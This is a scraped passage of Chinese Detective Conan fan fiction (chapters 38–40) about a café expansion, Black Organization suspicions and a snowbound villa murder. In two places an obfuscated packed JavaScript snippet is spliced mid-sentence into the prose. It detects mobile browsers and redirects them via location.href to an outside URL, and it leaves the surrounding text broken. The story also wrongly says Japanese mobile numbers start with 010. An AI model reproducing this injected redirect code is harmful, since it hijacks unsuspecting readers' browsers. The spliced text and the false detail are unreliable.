话虽如此,鎏汐知道这份用心早已超出了普通员工的范畴。从筛选担保人,到处理身份查询危机,再到如今事无巨细地筹备扩建——安室透在她身上投入的时间和精力,早已不是一句“同事互助”能解释的。 但她还没准备好面对那份过于直白的心意。 咖啡厅的门铃响了。第一批早客推门进来,是附近写字楼的上班族,熟门熟路地点了美式和三明治。 工作模式开启。 鎏汐负责后厨,安室透在前台接待。扩建计划让两人之间的配合比以往更加默契:安室透会根据客流情况预估食材消耗,提前将需要补货的清单递给鎏汐;鎏汐则在忙碌间隙,顺手将安室透需要的咖啡豆研磨好放在一旁。 上午十点,客流稍缓。鎏汐从后厨端出两杯刚煮好的拿铁,将其中一杯推到安室透面前。 “提提神。”她说。 安室透有些意外地挑眉,随即笑了起来:“店长亲自服务,受宠若惊。” 他接过咖啡,抿了一口,眼睛微亮:“奶泡打得比昨天又细腻了。” “温度控制做了微调。”鎏汐也拿起自己那杯,靠在吧台边慢慢喝着,“你推荐的咖啡豆供应商不错,这批豆子的酸度平衡得很好。” “那家老板是巴西庄园直供,品质一直稳定。”安室透说着,忽然想起什么,“对了,下午施工队来的时候,可能需要你签字确认一些文件。你的印章准备好了吗?” 鎏汐点头:“山田律师帮我办了。” “那就好。”安室透顿了顿,语气稍沉,“不过……施工期间,咖啡厅的安防是个问题。工人进出频繁,监控死角会增加,如果黑衣组织想趁乱做手脚,很容易得手。” “你有建议?”鎏汐看向他。 “我会安排几个‘熟人’混在施工队里。”安室透压低声音,“表面上是普通工人,实际是公安的线人,负责暗中警戒。另外,咖啡厅的监控系统需要升级,我联系了专业公司,明天来安装高清摄像头和红外感应。” 他说得自然,仿佛安排公安线人当保镖是再寻常不过的事。 鎏汐沉默片刻:“你不必动用这么多资源。” “有必要。”安室透收起笑容,眼神认真起来,“鎏汐,你现在是组织重点关注对象。琴酒虽然暂时没动你,但他那人记仇,爆炸案的事他绝不会轻易放过。扩建期间是我们最脆弱的时候,不能掉以轻心。” 他说着,从围裙口袋里掏出一个小小的黑色装置,放在吧台上。 “这是升级版的追踪器,植入式,尺寸只有米粒大小。”他声音压得更低,“需要我帮你植入耳后或者发际线位置,平时完全隐形,紧急情况下能持续发送定位信号48小时。” 鎏汐盯着那枚微型装置,金属外壳在灯光下泛着冷光。 “你觉得我会接受这种监控?”她语气平静。 “不是监控,是保险。”安室透直视她的眼睛,“我知道你讨厌被束缚,但这是特殊情况。等组织威胁解除,我可以立刻帮你取出来。” 两人对视着,吧台后的咖啡机发出蒸汽嘶鸣,空气中弥漫着咖啡豆的焦香。 最终,鎏汐伸出手,拿起那枚装置。 “我自己处理。”她说。 安室透松了口气,嘴角重新扬起笑意:“明智的选择。” 下午两点,第一批施工队的负责人准时到达。 来人是个四十出头的中年男人,姓田中,皮肤黝黑,手掌粗糙,一看就是常年在工地打滚的老手。他身后跟着两个年轻助手,手里抱着厚厚的图纸和样品册。 “安室先生,鎏汐小姐,初次见面。”田中礼貌地鞠躬,递上名片,“我们公司承包过米花町多家店铺的装修,这是我们的案例集和报价单。” 鎏汐接过资料,快速翻阅。案例照片确实专业,报价也在合理范围内。但她的注意力却被田中左手虎口处的一道旧伤吸引了——那道疤痕的形态很特别,像是某种特殊刀具造成的,位置和角度都透着训练痕迹。 她抬眼看向安室透,发现他也在观察那道伤疤,两人目光短暂交汇,都读懂了彼此的警觉。 “田中先生以前做过其他行业吗?”安室透笑着问,语气随意,“看您手上的茧,不像是单纯做装修的。” 田中愣了一下,随即笑道:“年轻时在自卫队待过几年,退役后才转行做装修。安室先生眼力真好。” 这个解释合情合理。但鎏汐心中的疑虑并未完全消除。 洽谈进行得很顺利。田中团队给出了详细的施工方案,工期三十五天天,承诺尽量不影响咖啡厅日间营业,噪音大的工程会安排在晚上十点后进行。 “我们会用隔音材料把施工区完全封闭,灰尘和噪音都会控制在最小范围。”田中指着图纸解释,“外带窗口的钢结构三天内就能完成,包间的隔断墙需要一周,后厨扩建最耗时,大概要二十天。” 鎏汐仔细询问了材料环保标准、电路改造的安全性、消防设施的调整细节,田中一一作答,专业且耐心。 “那就先这样。”鎏汐最终在初步协议上签了字,“明天正式开工,祝我们合作愉快。” “一定一定。”田中收起文件,带着助手离开了。 咖啡厅门关上的瞬间,安室透立刻走到窗边,目送田中的车驶远,然后转身看向鎏汐。 “自卫队的伤痕解释得通,但他两个助手的站姿有问题。”安室透低声说,“左手边的那个,站立时重心永远在右脚,右手下意识靠近腰侧——那是长期佩枪的人才会有的习惯性动作。” 鎏汐点头:“我也注意到了。右手的那个,走路时步幅均匀得过分,像是受过队列训练。” “公安那边我会去查田中的底细。”安室透拿出手机快速打字,“在他团队里安插线人的事要加紧,施工期间我们得二十四小时盯着。” “你今晚又要熬夜?”鎏汐看着他眼底的疲惫。 “习惯了。”安室透收起手机,笑容有些无奈,“公安的工作就是这样,没办法。” 话音刚落,咖啡厅的门铃又响了。 这次进来的是毛利兰和柯南。 “鎏汐姐姐,安室先生!”兰笑着挥手,“听说咖啡厅要扩建了?真厉害!” 柯南则睁着那双看似天真的大眼睛,在咖啡厅里四处打量,目光在施工设计图上停留了片刻。 “安室哥哥画的图好专业哦。”他奶声奶气地说。 安室透笑着揉了揉柯南的头:“小鬼头懂得还挺多。要喝什么?今天店长新调了焦糖玛奇朵,要不要试试?” “我要冰咖啡!”柯南举起手,随即凑到鎏汐身边,压低声音,“鎏汐姐姐,施工队的人可靠吗?我刚才在门口碰到他们了,感觉……有点奇怪。” 连柯南都察觉到了异常。 鎏汐蹲下身,与柯南平视:“你觉得哪里奇怪?” “那个叫田中的叔叔,说话的时候眼睛一直在观察咖啡厅的各个角落,不像是在看装修,倒像是在……”柯南歪了歪头,“侦查地形。” 孩子的直觉往往最敏锐。 鎏汐拍了拍柯南的肩膀:“谢谢提醒,我们会注意的。” 兰点好饮品后,拉着柯南在靠窗的位置坐下。午后的阳光温暖地洒在他们身上,柯南一边喝冰咖啡,一边偷偷观察着安室透和鎏汐的互动,眼中闪烁着超越年龄的思索。 趁着这个间隙,安室透将鎏汐拉到后厨。 “柯南的话印证了我们的怀疑。”他语气严肃,“田中团队很可能有问题。我已经让风间去查了,最晚今晚会有结果。” “如果真是组织的人伪装的呢?”鎏汐问。 “那就将计就计。”安室透眼神锐利,“让他们以为我们毫无察觉,在施工过程中布下反制陷阱。正好可以借这个机会,挖出组织在米花町的更多据点。” 这个计划很大胆,但也确实是最有效的反击方式。 “需要我做什么?”鎏汐问。 “照常经营,表现得完全信任他们。”安室透说,“但私下里,我们要在咖啡厅的各个关键位置安装隐蔽摄像头和录音设备——不是明面上那些,是连田中团队都发现不了的。” “微型设备我有。”鎏汐从储物柜的暗格里取出一个小铁盒,打开后里面整齐排列着指甲盖大小的摄像器和监听器,“穿越时随身带的,一直没机会用。” 安室透有些惊讶地看着那些精密设备:“你之前的世界,科技水平这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053768|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么高?” “任务需要。”鎏汐简单带过,“这些设备续航七十二小时,无线传输,加密频道。安装位置我来选,保证覆盖所有死角。” “好。”安室透点头,“今晚打烊后,我们一起布置。” 接下来的几个小时,咖啡厅在表面平静中度过。傍晚时分,田中打来电话确认明天开工的具体时间,语气自然热情,听不出任何破绽。 打烊后,鎏汐锁上店门,拉下百叶窗。 安室透从车里搬进来一个小型工具箱,里面除了常规工具,还有几台便携式信号检测仪和反监听设备。 “先检查店里有没有被提前安装窃听器。”他说。 两人分工合作。安室透负责检测电子信号,鎏汐则凭借执行官的直觉,一寸寸检查墙壁、桌椅、灯具甚至盆栽里是否藏有异物。 一小时后,他们在吧台下方发现了一枚纽扣大小的窃听器,粘在木质隔板的缝隙里,极其隐蔽。 “是田中午间去洗手间时安装的。”鎏汐冷静分析,“他借口洗手,实际在吧台停留了三十秒,足够完成这个动作。” 安室透用镊子小心取下窃听器,放入屏蔽袋。 “他们动作真快。”他冷笑,“也好,这说明我们猜对了。” 清除隐患后,两人开始安装反制设备。鎏汐选择的安装位置堪称精妙:通风管道内侧、吊灯灯座夹层、壁画背后的空隙、甚至咖啡豆储藏罐的底部——每一个点都是视觉死角,却能覆盖咖啡厅的每个角落。 安室透负责布线和技术调试。他的手指在电路板和微型芯片间灵活移动,专注的侧脸在昏暗的灯光下显得格外沉静。 “你也很擅长这个。”鎏汐将一枚摄像器递给他时说。 “公安必修课。”安室透接过设备,熟练地接入终端,“潜入、侦查、反侦查,这些都是基础技能。不过你的设备比我见过的任何警用设备都先进。” “另一个世界的技术。”鎏汐简单解释,没有多说。 凌晨一点,所有设备安装调试完毕。安室透打开笔记本电脑,屏幕上分割出十几个实时画面,咖啡厅的每个角度都清晰可见。 “监控终端我会放在安全屋,这里留一个分屏。”他设置好加密传输,“明天施工开始后,田中团队的一举一动都会在我们的掌握中。” 鎏汐看着屏幕上清晰的画面,忽然问:“你经常这样工作到深夜吗?” 安室透敲击键盘的手指顿了顿。 “嗯,习惯了。”他转头看她,眼底有淡淡的血丝,但笑容依旧温暖,“公安的工作没有固定作息,任务来了就得随时顶上。不过……” 他顿了顿,声音轻柔了些:“现在有咖啡厅,有你陪着熬夜,感觉没那么累了。” 这话说得太暧昧,鎏汐耳尖微热,移开目光。 “我去煮点宵夜。”她转身走向后厨。 十分钟后,两碗热气腾腾的乌冬面端上吧台。汤底是用鸡骨熬制的高汤,面上铺着溏心蛋、叉烧和海苔,香气扑鼻。 安室透放下手中的工作,凑过来深深吸了一口气:“店长的厨艺真是永远能给我惊喜。” 两人并肩坐在吧台边,安静地吃着面。深夜的咖啡厅只剩下筷子触碰碗沿的轻响,和远处偶尔传来的汽车驶过声。 “鎏汐。”安室透忽然开口。 “嗯?” “等这次扩建完成,组织的事告一段落……”他放下筷子,转头看她,眼神在昏暗灯光下显得格外深邃,“我想带你去一个地方。” “哪里?” “我长大的地方。”安室透轻声说,“不是东京,是更安静的小镇。那里有很漂亮的海岸线,夏天的时候,整个山坡都开满薰衣草。” 鎏汐握着筷子的手指微微收紧。 “为什么要带我去?”她问。 “因为我想让你看看我的世界。”安室透说,“不只是波本,也不只是安室透,是更早以前的那个我。虽然……那个我也已经模糊了。” 他的语气里有淡淡的怅然,那是鎏汐第一次在他身上看到如此明显的情绪破绽。 “好。”她轻声应道。 安室透眼睛亮了起来,像是没料到她会答应得这么干脆。 “那就说定了。”他笑着说,重新拿起筷子,“先把这个坎过了,然后我们一起去。” 吃完宵夜,两人继续收尾工作。凌晨三点,所有设备调试完毕,监控系统进入全自动运行模式。 安室透收拾好工具箱,看向窗外泛白的天际。 “快天亮了。”他说,“你回去休息吧,我在这里盯着。田中团队七点半到,我得确保万无一失。” “一起等。”鎏汐没有动,“我是店长,不能把所有责任都推给你。” 安室透看着她倔强的侧脸,最终没有再劝。 两人在靠窗的位置坐下,鎏汐泡了一壶红茶。晨光从地平线缓缓漫出,将米花町的建筑轮廓一点点勾勒出来。街道开始有早起的行人,送报员的自行车铃叮当作响,便利店卷帘门拉起的声音此起彼伏。 这是一个普通工作日的开始,也是波罗咖啡厅扩建计划的第一天。 但对于鎏汐和安室透而言,这更是一场无声战役的序幕。施工队的锤凿声将成为最好的掩护,而在这片嘈杂之下,红与黑的博弈将再次悄然展开。 “鎏汐。”安室透看着窗外渐亮的天空,忽然说。 “嗯?” “不管发生什么,记得你答应我的事。”他转过头,目光温柔而坚定,“等这一切结束,我们要一起去那个开满薰衣草的山坡。” 鎏汐握紧手中的茶杯,温热的触感从掌心传来。 “我记得。”她说。 晨光终于完全照亮了咖啡厅的玻璃窗。远处,一辆印着“田中装修”字样的卡车正缓缓驶来。 39.第 39 章 十二月的第一个周末,东京飘起了初雪。 鎏汐站在波洛咖啡厅的落地窗前,看着细碎的雪花在暮色中旋转飘落。街灯一盏盏亮起,在渐深的夜色中晕开暖黄的光圈,积雪的人行道上留下深深浅浅的足迹。 “鎏汐,今天提早打烊吧。”榎本梓擦拭着咖啡机,“这种天气不会有客人了。” 她点点头,将最后一批洗净的杯子倒扣在沥水架上。手指触碰到冰凉的瓷面时,忽然想起去年冬天——也是这样的雪夜,安室透站在她身后,双手环过她的腰际,握住她冻得微红的手,温热的呼吸拂过耳畔:“暖和一些了吗?” 回忆像窗外的雪花,无声无息地飘落,在心上积起薄薄的一层。 “鎏汐?”榎本梓担忧地看她,“你还好吗?” “没事。”她笑了笑,解开围裙,“那我先回去了。” 推开门时,冷风裹挟着雪花扑面而来。她裹紧外套——还是那件他留下的灰色卫衣,洗得有些发白了,袖口处的线头松脱了一小截,她一直没舍得缝。 手机在这时震动起来。是毛利兰的来电。 “鎏汐!你现在有空吗?”电话那头的声音带着明显的紧张,“园子家在山里的别墅举办周末派对,但是……发生了一些事情,你能过来一趟吗?” 鎏汐抬起头,雪花落在睫毛上,融化成微凉的水滴。她看着暮色中纷扬的雪,平静地回答:“地址发我,我马上过去。” 通往山区的公路上,积雪已经没过脚踝。 出租车在山道入口停下,司机歉意地表示再往前太危险。鎏汐付了车费,推门下车。凛冽的山风瞬间灌满衣领,她拉起卫衣帽子,深一脚浅一脚地沿着盘山公路向上走。 远处山腰处,一栋欧式别墅灯火通明,像雪夜中孤悬的灯塔。那就是铃木家在轻井泽的滑雪别墅——鎏汐在脑中迅速调取记忆。《名侦探柯南》原剧情中,这里发生过一起“滑雪别墅杀人事件”,时间线应该是在工藤新一高中时期,而现在…… 她看了看手机,屏幕上的日期让她确认:剧情提前了。 别墅的铁门敞开着,几名穿着制服的警察正在门口拉起警戒线。鎏汐走近时,一个熟悉的身影从屋内冲了出来——铃木园子脸色苍白,看到她时眼睛一亮:“鎏汐!你来了!” “发生什么事了?” “死人了。”园子压低声音,抓住她的手臂,“是参加派对的客人,一个实业家,在二楼的客房里……兰在里面,还有那个总跟着她的小鬼头。” “柯南?” “对,就是那个聪明得不正常的小学生。”园子拉着她往屋里走,“警察刚来不久,但雪越下越大,他们说可能要等明天才能调来更多人手。” 别墅大厅里暖气很足,却弥漫着一股压抑的气氛。七八个客人或站或坐,表情各异。鎏汐扫视一圈,目光落在壁炉旁——毛利兰正蹲在一个戴眼镜的小男孩身边,低声说着什么。 “鎏汐姐姐。”柯南抬起头,镜片后的眼睛闪过一丝复杂的情绪。 她走过去,蹲下身与他平视:“怎么回事?” “死者名叫中村弘树,五十二岁,弘树建设的社长。”柯南用小孩的语气,说出与年龄不符的冷静分析,“死亡时间大概是下午四点至五点半之间,死因是□□中毒,毒物混在客房备好的矿泉水里。发现尸体的是别墅的管家,六点整去送晚餐时。” 鎏汐的目光飘向楼梯方向。二楼走廊隐约可见警察晃动的身影,取证相机的闪光灯不时亮起。 “嫌疑人呢?”她问。 “当时别墅里一共有九个人。”柯南掰着手指,“园子姐姐、兰姐姐、我、死者,还有死者的秘书高桥小姐、竞争对手小林社长、大学同学佐藤教授、别墅管家山田先生,以及……”他顿了顿,“一个临时邀请来的自由撰稿人,叫藤原。” 鎏汐在脑中快速梳理剧情。原案件中,凶手是利用滑雪缆车制造不在场证明的竞争对手,但现在是暴雪天,缆车停运,手法必然不同。 “鎏汐。”毛利兰走过来,握住她的手,“你没事吧?这种天气还让你过来……” “我没事。”鎏汐反握住她冰凉的手指,“倒是你,脸色不好。” “我有点……担心。”毛利兰低声说,“新一以前说过,这种封闭环境下的案件最危险,因为凶手很可能还在我们中间。” 话音未落,二楼传来争吵声。 “凭什么怀疑我?!”一个中年男人的怒吼,“我和中村是大学同学!三十年的交情!” “正因为是三十年交情,才更有动机吧。”另一个冷静的男声响起,“我听说,中村最近在收购你研究所的专利,价格压得很低。” 鎏汐抬头,看见两名警察正将两个男人分开。戴眼镜的瘦高个应该就是佐藤教授,另一个满脸怒容的秃顶男人则是小林社长。 场面一度混乱。 “请大家保持冷静。” 一个沉稳的女声压过嘈杂。鎏汐循声望去,看见佐藤美和子从二楼走下,高木涉跟在她身后。两位刑警的出现让大厅瞬间安静下来。 “我们已经初步勘查完现场。”佐藤美和子的目光扫过众人,“由于暴雪封山,支援警力要明天上午才能到达。今晚,所有人必须留在这栋别墅里。” 一阵低语。 “这是非法拘禁!”小林社长抗议。 “是保护性留置。”佐藤美和子纠正,“在凶手身份不明的情况下,让各位分散行动会有危险。而且……”她顿了顿,“凶手很可能希望有人离开现场,这样就能破坏证据或制造混乱。” 理由充分,无人再反驳。 别墅管家山田先生开始安排客房。由于二楼案发现场被封,所有人都得住在一楼。鎏汐和毛利兰、铃木园子分到一间三人房,柯南则坚持要睡在她们房间的沙发上。 “这小鬼真是的。”园子一边整理床铺一边抱怨,“明明有别的房间。” “他是担心我们。”毛利兰温柔地摸摸柯南的头。 鎏汐坐在窗边的单人椅上,望着窗外。雪还在下,别墅被包裹在一片纯白中,与世隔绝。这种封闭感让她想起某个暴雨夜——也是被困在某处,身边有安室透,他的体温和心跳是黑暗中唯一的坐标。 而现在,她独自一人。 不,不是独自。她看向房间里的另外三人。毛利兰正在检查门窗锁,园子把椅子抵在门后,柯南则坐在沙发上,低头摆弄着他的手表——那是阿笠博士给的装备,鎏汐知道。 “鎏汐姐姐。”柯南忽然抬头,“你好像很冷静。” 她回过神:“有吗?” “嗯。”男孩的眼睛在镜片后闪着光,“一般女生遇到这种事都会害怕,但你从进来开始,就一直在观察所有人。” 鎏汐沉默片刻:“我只是觉得,害怕解决不了问题。” “说得对。”柯南跳下沙发,走到她面前,“所以,我们一起把凶手找出来吧。” 深夜十一点,别墅彻底安静下来。 鎏汐躺在床上,听着窗外呼啸的风声和雪粒敲打玻璃的脆响。身旁,毛利兰和园子的呼吸渐趋平稳,但她知道她们都没睡着。 突然,走廊传来轻微的脚步声。 她立刻睁眼,轻轻坐起。黑暗中,她看见柯南已经站在门边,耳朵贴着门板。 脚步声在门口停住,然后是钥匙插入锁孔的细微声响。 鎏汐的心跳加速。她摸到床头柜上的玻璃水杯,握紧。 门把手转动了。 但门没有开——园子抵在门后的椅子起了作用。 外面的人似乎犹豫了一下,脚步声再次响起,渐渐远去。 “走了。”柯南低声道。 鎏汐下床,走到门边。透过门缝,她看见走廊尽头一个人影一闪而过,消失在拐角。 “要不要追?”园子也起来了,声音发抖但坚决。 “不行。”毛利兰按住她,“太危险了。” 鎏汐看向柯南。男孩正盯着自己的手表表盘——那上面有个小型雷达,此刻正显示着一个移动的红点。 “他去了一楼的书房。”柯南说。 “你怎么知道……”园子睁大眼睛。 “阿笠博士给的小玩具。”柯南含糊带过,抬头看向鎏汐,“鎏汐姐姐,你觉得那个人想做什么?” 鎏汐在脑中快速思考。原案件中,凶手会在夜间返回现场销毁证据,但这次现场在二楼,被封死了。那么去书房的目的…… “书房里有别墅的建筑图纸。”她忽然想起下午路过书房时瞥见的画面,“还有客人的登记资料。” “他想确认什么?”毛利兰问。 “或者,他想找什么。”柯南推了推眼镜,“鎏汐姐姐,我们得去看看。” 五分钟后,四人悄无声息地溜出房间。 别墅一楼的走廊只亮着几盏夜灯,光线昏暗。书房的门虚掩着,里面透出微弱的光。 柯南打头阵,鎏汐紧跟其后。推开门的瞬间,她们看见书房里空无一人,但桌上的台灯亮着,建筑图纸摊开在桌面上,旁边还放着一本客人登记册。 “人跑了。”柯南检查窗户,“从窗户出去的,外面有脚印。” 鎏汐走到桌边,目光落在图纸上。那是一份别墅的平面图,二楼的某个房间被红笔圈了出来——不是案发现场,而是隔壁的储藏室。 “这里有什么?”园子凑过来。 鎏汐没有回答。她翻开客人登记册,快速浏览。今天到场的人名、联系方式、入住时间……忽然,她的手指停在某一页。 自由撰稿人藤原,联系电话那栏写的是一串数字,但格式不对——日本的手机号是010开头,这个却是090。 “假号码。”她低声道。 “什么?”毛利兰问。 鎏汐正要开口,书房的门忽然被推开。 佐藤美和子站在门口,手按在腰间的枪套上:“你们在这里做什么?” 解释过程花了十分钟。 听完鎏汐和柯南的发现,佐藤美和子脸色凝重。她拿起那张图纸,又看了看登记册:“这个藤原有问题。” “不止是他。”柯南指着图纸上被圈出的储藏室,“凶手可能在那里藏了东西。” “我们去看看。”佐藤美和子做出决定,“高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054730|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木,你留在这里保护其他人。鎏汐,你跟我来。柯南,你和两位姐姐待在一起。” “我也要去!”柯南抗议。 “不行。”佐藤美和子难得严厉,“这是警察的工作。” 鎏汐跟着佐藤美和子上楼。二楼的警戒线还在,案发现场的门贴着封条。隔壁储藏室的门锁着,但佐藤美和子从管家那里要来了钥匙。 门打开时,一股灰尘味扑面而来。 储藏室里堆着旧家具和滑雪用具。鎏汐打开手电筒,光束划过杂乱的物品。忽然,她在墙角看见一个熟悉的轮廓——一个黑色的运动背包,款式很常见,但背包侧面的挂饰让她瞳孔一缩。 那是一个小小的金属沙漏,在灯光下泛着微光。 她送给安室透的第一个生日礼物。 “怎么了?”佐藤美和子察觉她的异常。 鎏汐强迫自己移开视线:“没什么,只是觉得这个背包……好像不属于这里。” 佐藤美和子走过去,戴上手套拉开背包拉链。里面是一些换洗衣物、洗漱用品,还有一本护照。 她翻开护照,照片上是一个陌生男人,名字是“藤原健一”。但在护照夹层里,还有另一张折叠的纸。 佐藤美和子展开那张纸,鎏汐看见上面写着一行字:“波本,任务进展如何?——Gin” 空气仿佛凝固了。 “这是……”佐藤美和子猛地抬头,“黑衣组织?” 鎏汐的心脏狂跳起来。她看着那个沙漏挂饰,脑海中闪过无数可能——安室透的东西为什么在这里?那个藤原是谁?是组织成员,还是…… “佐藤警官。”她听见自己的声音异常平静,“这个背包的主人,可能已经死了。” “什么?” “如果他是组织成员,任务失败的话……”鎏汐没有说下去。 佐藤美和子迅速收起护照和纸条:“这件事需要保密。鎏汐,你今晚看到的一切,不能告诉任何人,包括毛利兰和铃木园子。” “我明白。” 她们离开储藏室,重新锁上门。下楼时,鎏汐的余光瞥见走廊阴影处有个人影一闪而过——是那个自由撰稿人藤原,或者说,冒充藤原的人。 他也在看她们。 回到一楼大厅,所有人都被叫醒了。佐藤美和子宣布在储藏室发现了可疑物品,要求所有人交出随身物品检查。 轮到藤原时,他表现得异常镇定:“我的背包?哦,可能拿错了,这别墅里类似的背包很多。” 但佐藤美和子已经从他的外套内袋里摸出一把装有消音器的手枪。 场面瞬间失控。 “不许动!”佐藤美和子举枪对准他。 藤原笑了,那笑容冰冷而诡异:“你以为抓住我就结束了吗?警官小姐,这栋别墅里……还有我们的人。” 话音未落,灯光突然熄灭。 黑暗降临的瞬间,鎏汐感到有人抓住了她的手腕,一股力量将她往后拉。她本能地反击,手肘撞向对方肋部,听见一声闷哼。 “鎏汐!”毛利兰的惊呼。 手电筒的光束乱晃。鎏汐在混乱中看见藤原挣脱了控制,朝大门跑去。佐藤美和子追了上去,高木涉紧随其后。 但大门被从外面锁死了。 “窗户!”有人喊。 鎏汐冲向最近的窗户,用力推开。寒风裹挟着雪花灌入,她看见外面雪地上有两行新鲜的足迹,延伸到树林深处。 “他跑了。”高木涉喘着气说。 佐藤美和子脸色铁青,她拿起对讲机,但只传来沙沙的杂音——暴雪影响了信号。 “我们被困在这里了。”小林社长瘫坐在沙发上,“而且凶手……可能不止一个。” 恐慌像瘟疫般蔓延。 鎏汐站在窗边,雪花落在她脸上,冰冷刺骨。她低头看着自己的手腕,那里还残留着被抓住时的触感——对方的手很大,手指有力,虎口有茧。 是常年用枪的人。 她回过头,看向大厅里剩余的人。秘书高桥小姐在哭泣,佐藤教授面无表情,小林社长不停擦汗,管家山田先生则焦虑地踱步。 还有那个沙漏挂饰,在黑暗中反复闪现。 安室透,你现在在哪里? 这个念头出现的瞬间,手机在口袋里震动了一下。鎏汐低头,在屏幕亮起的光中看见一条新信息,没有发件人,只有四个字: “别怕,我在。” 她握紧手机,指尖因为用力而发白。 窗外,暴风雪呼啸着席卷山林。别墅像一座孤岛,漂浮在纯白色的死亡之海上。但此刻,鎏汐的心跳却奇迹般地平复下来。 她抬起头,目光扫过每一张惶恐的脸,最后落在柯南身上。男孩正看着她,镜片后的眼睛里有担忧,也有询问。 鎏汐轻轻摇了摇头,然后转身,面对所有人。 “警察来之前,”她的声音清晰而平稳,在寂静的大厅里回荡,“我们需要保持冷静,互相监督,等待天亮。” 风雪拍打着窗户,但屋内有了微光。 是从她眼中燃起的东西——坚韧的、不容摧折的光。 40.第 40 章 波洛咖啡厅的玻璃门被推开发出清脆的铃声,鎏汐熟练地将托盘上的拿铁端到靠窗的卡座。下午四点的阳光斜斜地透过玻璃,在她白皙的手背上投下温润的光斑。 “谢谢,鎏汐酱还是这么漂亮呢。”常客佐藤太太笑眯眯地说,“不过看起来有点累?黑眼圈都出来了哦。” 鎏汐下意识摸了摸眼下,绽开一个礼貌的微笑:“最近功课有点多。需要续杯的话请叫我。” 转身走回柜台时,她瞥了一眼墙上的挂历——距离安室透离开,已经过去了四百二十六天。 这个数字她记得很清楚。不是刻意去数,而是每个独自醒来的清晨、每个收工后空荡的出租屋、每个经过他们曾一起散步的老巷的傍晚,时间都在记忆里刻下痕迹。像水滴石穿,缓慢而坚定。 “鎏汐,三号桌的松饼好了!”店长的声音将她从思绪中拉回。 “来了。” 她端起托盘,步伐轻盈地穿过桌椅间。身高一百七十公分的少女在这一年多里又长高了两厘米,纤腰翘臀的曲线在制服下若隐若现,及腰长发在脑后扎成利落的马尾,露出线条优美的天鹅颈。即使是最普通的咖啡厅制服,穿在她身上也格外引人注目——这点从进店后频频投来的目光就能证明。 “您的松饼,请慢用。”她微微欠身,笑容标准得无可挑剔。 转身时,余光扫过门口那个常坐的位置——安室透以前最喜欢坐在那里,既能观察到店内情况,又能透过玻璃窗留意街面。现在那里坐着一位陌生的上班族,正埋头看着手机。 鎏汐垂下眼睫,走回柜台后开始清洗堆积的咖啡杯。 水龙头流出温热的水,泡沫在指尖蔓延。她想起上周收到的匿名汇款——和之前十几次一样,金额刚好覆盖她一个月的房租和生活费,汇款人信息栏空白,收款时间总是每月的十五号,精准得像某种承诺。 她知道是谁。 就像她知道橱柜最里侧还藏着半包他喜欢的咖啡豆,冰箱冷冻层有他某次突发奇想做的、还没吃完的咖喱饭,书桌抽屉里放着他们毕业旅行时在冲绳海滩拍的合照——照片上的安室透难得笑得毫无防备,手臂搭在她肩上,背景是湛蓝得刺眼的海。 “鎏汐,下班后要不要一起去新开的那家甜品店?”同事理惠凑过来,压低声音,“听说有超帅的店员哦。” 鎏汐关掉水龙头,用毛巾擦干手:“抱歉,今天约了同学复习。” “又是复习啊……”理惠撇撇嘴,“你都年级前五了,不用这么拼吧?而且——” 她顿了顿,眼神飘向那个空座位:“那个人都消失这么久了,你总不能一直等下去吧?学校里追你的男生都能排到校门口了。” 鎏汐笑了笑,没有接话。 她当然知道。帝丹高中二年级的鎏汐,成绩优异,外形出众,性格温和,几乎是校园里最耀眼的存在。情书、告白、课桌里突然出现的礼物……这些对她而言早已是日常。她总是礼貌地拒绝,理由千篇一律:“抱歉,我现在只想专心学业。” 没有人知道真正的理由。 放学铃响时,鎏汐收拾好书包,和毛利兰、铃木园子一起走出教学楼。 “今天小兰要去空手道部训练吧?”园子挽着鎏汐的手臂,“那我陪鎏汐去波洛?正好我想吃他们新出的草莓蛋糕——” “园子,”毛利兰无奈地打断她,“鎏汐昨天不是说今天要去图书馆查资料吗?” “对哦!”园子一拍脑门,随即又眼睛发亮,“那我们去图书馆附近的咖啡厅?我知道一家超棒的——” “园子,”鎏汐终于开口,声音里带着笑意,“你是单纯想陪我,还是想去看那家店传说中‘像柏原崇’的店员?” 园子被戳穿心思,夸张地捂住胸口:“鎏汐你变坏了!肯定是跟那个姓安室的家伙学坏了!” 话音落下,空气安静了一瞬。 园子自知失言,张了张嘴想补救,却被鎏汐轻轻拍了拍手背。 “没关系。”她说,目光平静地望向校门外熙攘的人流,“而且……他本来就不是什么温柔纯良的人设。” 这话说得轻松,甚至带着点调侃,但毛利兰和园子交换了一个眼神,都没再接话。 三人在校门口分开。鎏汐独自走向图书馆方向,却在拐过一个街角后,脚步不由自主地转向了另一条路。 那是通往米花町二丁目老住宅区的路。青石板铺就的小径两侧是有些年岁的樱花树——虽然现在不是花季,只有郁郁葱葱的叶子在夕阳下投出细碎的光影。路的尽头,是工藤家气派的洋房,隔壁是阿笠博士那总传来奇怪声响的宅邸,再隔壁…… 是她那间小小的出租屋。 也是她和安室透周末同居时,他每次送她回家会并肩走过的那条路。 鎏汐在路边长椅上坐下,从书包里拿出今天的课堂笔记,却迟迟没有翻开。 